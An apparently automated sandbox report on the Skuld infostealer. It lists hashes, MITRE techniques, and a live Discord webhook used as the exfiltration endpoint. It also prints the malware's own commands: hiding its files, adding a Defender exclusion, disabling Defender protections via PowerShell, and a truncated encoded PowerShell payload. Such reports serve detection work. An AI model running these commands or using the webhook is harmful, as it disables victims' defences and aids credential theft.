skuld | ec2194ba8928a1ccf8bf098d23e25ff971b1e48db67bcf7417119aee667c93cc

General

Target

skuld.exe
Size

9.8MB
MD5

723849fc46caf8f8dbf447ac050b8c31
SHA1

fc29e9028c005f3bc71e31b71f1aedd427ac5b7b
SHA256

ec2194ba8928a1ccf8bf098d23e25ff971b1e48db67bcf7417119aee667c93cc
SHA512

229435357b7f4d90756a457cfe2d21c8a2d819723745a2fd0d0f120a6560832e92706814cb8eaeb615bbe13cb8b6cf6446f2309e3ac63f517627d6b5f1a3f2cf
SSDEEP

98304:Zrfdlz4MwXCwWmLHfM1EOrZcs5EwscBJZrZ6eFmBQbQcR:Zr34MwRE1EOrqsaMhFmBQp

Score

10^/10

skuld credential_access defense_evasion discovery execution persistence spyware stealer

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1296303576926392341/Tps4IgItsbgFfWRvv3V4xHZLBkpTksuf0TRo-aCAjDLIRCDca1thaJLZfnJ5idvleHuN

Signatures

Skuld stealer
An info stealer written in Go lang.
stealer skuld
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

1120 powershell.exe
2484 powershell.exe

pid	process
1120	powershell.exe
2484	powershell.exe

Drops file in Drivers directory 3 IoCs

Processes:

attrib.exeskuld.exeattrib.exe

description	ioc	process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	skuld.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

skuld.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	skuld.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

6 discord.com
8 discord.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

14 ip-api.com
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.

Processes:

description flow ioc

HTTP User-Agent header 15 Go-http-client/1.1

flow	ioc
6	discord.com
8	discord.com

flow	ioc
14	ip-api.com

description	flow	ioc
HTTP User-Agent header	15	Go-http-client/1.1

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

skuld.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	skuld.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	skuld.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	skuld.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	skuld.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5c000000010000000400000000080000190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c7e00000001000000080000000000042beb77d5017a000000010000000c000000300a06082b060105050703097f000000010000000c000000300a06082b060105050703091d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	skuld.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	skuld.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

skuld.exepowershell.exepowershell.exepowershell.exe

pid	process
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1120	powershell.exe
1772	skuld.exe
1772	skuld.exe
1120	powershell.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
2484	powershell.exe
1772	skuld.exe
1772	skuld.exe
2484	powershell.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
4156	powershell.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
4156	powershell.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe
1772	skuld.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

skuld.exewmic.exepowershell.exepowershell.exewmic.exe

description	pid	process
Token: SeDebugPrivilege	1772	skuld.exe
Token: SeIncreaseQuotaPrivilege	4192	wmic.exe
Token: SeSecurityPrivilege	4192	wmic.exe
Token: SeTakeOwnershipPrivilege	4192	wmic.exe
Token: SeLoadDriverPrivilege	4192	wmic.exe
Token: SeSystemProfilePrivilege	4192	wmic.exe
Token: SeSystemtimePrivilege	4192	wmic.exe
Token: SeProfSingleProcessPrivilege	4192	wmic.exe
Token: SeIncBasePriorityPrivilege	4192	wmic.exe
Token: SeCreatePagefilePrivilege	4192	wmic.exe
Token: SeBackupPrivilege	4192	wmic.exe
Token: SeRestorePrivilege	4192	wmic.exe
Token: SeShutdownPrivilege	4192	wmic.exe
Token: SeDebugPrivilege	4192	wmic.exe
Token: SeSystemEnvironmentPrivilege	4192	wmic.exe
Token: SeRemoteShutdownPrivilege	4192	wmic.exe
Token: SeUndockPrivilege	4192	wmic.exe
Token: SeManageVolumePrivilege	4192	wmic.exe
Token: 33	4192	wmic.exe
Token: 34	4192	wmic.exe
Token: 35	4192	wmic.exe
Token: 36	4192	wmic.exe
Token: SeDebugPrivilege	1120	powershell.exe
Token: SeIncreaseQuotaPrivilege	4192	wmic.exe
Token: SeSecurityPrivilege	4192	wmic.exe
Token: SeTakeOwnershipPrivilege	4192	wmic.exe
Token: SeLoadDriverPrivilege	4192	wmic.exe
Token: SeSystemProfilePrivilege	4192	wmic.exe
Token: SeSystemtimePrivilege	4192	wmic.exe
Token: SeProfSingleProcessPrivilege	4192	wmic.exe
Token: SeIncBasePriorityPrivilege	4192	wmic.exe
Token: SeCreatePagefilePrivilege	4192	wmic.exe
Token: SeBackupPrivilege	4192	wmic.exe
Token: SeRestorePrivilege	4192	wmic.exe
Token: SeShutdownPrivilege	4192	wmic.exe
Token: SeDebugPrivilege	4192	wmic.exe
Token: SeSystemEnvironmentPrivilege	4192	wmic.exe
Token: SeRemoteShutdownPrivilege	4192	wmic.exe
Token: SeUndockPrivilege	4192	wmic.exe
Token: SeManageVolumePrivilege	4192	wmic.exe
Token: 33	4192	wmic.exe
Token: 34	4192	wmic.exe
Token: 35	4192	wmic.exe
Token: 36	4192	wmic.exe
Token: SeDebugPrivilege	2484	powershell.exe
Token: SeIncreaseQuotaPrivilege	3068	wmic.exe
Token: SeSecurityPrivilege	3068	wmic.exe
Token: SeTakeOwnershipPrivilege	3068	wmic.exe
Token: SeLoadDriverPrivilege	3068	wmic.exe
Token: SeSystemProfilePrivilege	3068	wmic.exe
Token: SeSystemtimePrivilege	3068	wmic.exe
Token: SeProfSingleProcessPrivilege	3068	wmic.exe
Token: SeIncBasePriorityPrivilege	3068	wmic.exe
Token: SeCreatePagefilePrivilege	3068	wmic.exe
Token: SeBackupPrivilege	3068	wmic.exe
Token: SeRestorePrivilege	3068	wmic.exe
Token: SeShutdownPrivilege	3068	wmic.exe
Token: SeDebugPrivilege	3068	wmic.exe
Token: SeSystemEnvironmentPrivilege	3068	wmic.exe
Token: SeRemoteShutdownPrivilege	3068	wmic.exe
Token: SeUndockPrivilege	3068	wmic.exe
Token: SeManageVolumePrivilege	3068	wmic.exe
Token: 33	3068	wmic.exe
Token: 34	3068	wmic.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

skuld.exepowershell.exe

description	pid	process	target process
PID 1772 wrote to memory of 3340	1772	skuld.exe	attrib.exe
PID 1772 wrote to memory of 3340	1772	skuld.exe	attrib.exe
PID 1772 wrote to memory of 1120	1772	skuld.exe	powershell.exe
PID 1772 wrote to memory of 1120	1772	skuld.exe	powershell.exe
PID 1772 wrote to memory of 2080	1772	skuld.exe	attrib.exe
PID 1772 wrote to memory of 2080	1772	skuld.exe	attrib.exe
PID 1772 wrote to memory of 4192	1772	skuld.exe	wmic.exe
PID 1772 wrote to memory of 4192	1772	skuld.exe	wmic.exe
PID 1772 wrote to memory of 2484	1772	skuld.exe	powershell.exe
PID 1772 wrote to memory of 2484	1772	skuld.exe	powershell.exe
PID 1772 wrote to memory of 3068	1772	skuld.exe	wmic.exe
PID 1772 wrote to memory of 3068	1772	skuld.exe	wmic.exe
PID 1772 wrote to memory of 4156	1772	skuld.exe	powershell.exe
PID 1772 wrote to memory of 4156	1772	skuld.exe	powershell.exe
PID 1772 wrote to memory of 4428	1772	skuld.exe	attrib.exe
PID 1772 wrote to memory of 4428	1772	skuld.exe	attrib.exe
PID 1772 wrote to memory of 5028	1772	skuld.exe	attrib.exe
PID 1772 wrote to memory of 5028	1772	skuld.exe	attrib.exe
PID 4156 wrote to memory of 2224	4156	powershell.exe	csc.exe
PID 4156 wrote to memory of 2224	4156	powershell.exe	csc.exe

Views/modifies file attributes 1 TTPs 4 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exeattrib.exeattrib.exe

pid process

4428 attrib.exe
5028 attrib.exe
3340 attrib.exe
2080 attrib.exe

pid	process
4428	attrib.exe
5028	attrib.exe
3340	attrib.exe
2080	attrib.exe

C:\Users\Admin\AppData\Local\Temp\skuld.exe
"C:\Users\Admin\AppData\Local\Temp\skuld.exe"
1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1772

C:\Windows\system32\attrib.exe
attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
2⤵
- Views/modifies file attributes
PID:3340

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1120

C:\Windows\system32\attrib.exe
attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
2⤵
- Views/modifies file attributes
PID:2080

C:\Windows\System32\Wbem\wmic.exe
wmic cpu get Name
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4192

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2484

C:\Windows\System32\Wbem\wmic.exe
wmic os get Caption
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3068

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAH